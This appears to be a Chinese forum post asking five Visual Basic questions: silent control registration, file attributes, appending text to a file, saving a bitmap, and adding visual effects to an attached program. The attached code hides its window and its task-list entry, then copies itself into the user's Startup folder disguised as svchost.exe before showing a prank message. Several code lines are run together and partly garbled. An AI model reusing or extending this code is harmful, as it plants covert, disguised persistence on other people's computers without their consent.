vb 5大问题

1.用Shell "regsvr32  " & App.Path & "\abcdefghijklmnopqrstuvwxyz.ocx"注册控件，怎么不显示注册成功对话框？
2.修改d:\12345.txt属性->只读，非只读，隐藏，非隐藏
3.在d:\54321.txt第五段后加"1234567890qwertyuiopasdfghjklzxcvbnm"
4.把自己程序里的图片image.picture(256色)保存到wc:\12311231345345.bmp(256色)
5.给下面的程序加一点视觉效果（自己的一个程序的一部分的提取的梗概的改版）
Public b, a As Long
Public c As String
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As LongPublic Function NTDomainUserName() As String
Dim strBuffer As String * 255
Dim lngBufferLength As Long
Dim lngRet As Long
Dim strTemp As StringlngBufferLength = 255
lngRet = GetUserName(strBuffer, lngBufferLength)
strTemp = UCase(Trim$(strBuffer))
NTDomainUser = strTemp 
NTDomainUserName = Left$(strTemp, Len(strTemp) - 1) 
End FunctionPrivate Sub Form_Load()
On Error Resume Next
Form1.Hide
c = ""
For b = 1 To Len(NTDomainUserName)
If Mid(NTDomainUserName, b, 1) <> " " Then c = c & Mid(NTDomainUserName, b, 1)
Next b
Text1 = c
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\" & Text1 & "\「开始」菜单\程序\启动\svchost.exe"
'NTDomainUserName
App.TaskVisible = False
Timer1.Enabled = True
Exit Sub
End SubPrivate Sub Timer1_Timer()
    a = a + 1
If a >= 301 Then
    Form1.Hide
ElseIf a >= 300 Then
    Form1.Show
    Form1.SetFocus
    Form1.Cls
    Print " 小强"
    Print " 万岁！"
End IfEnd Sub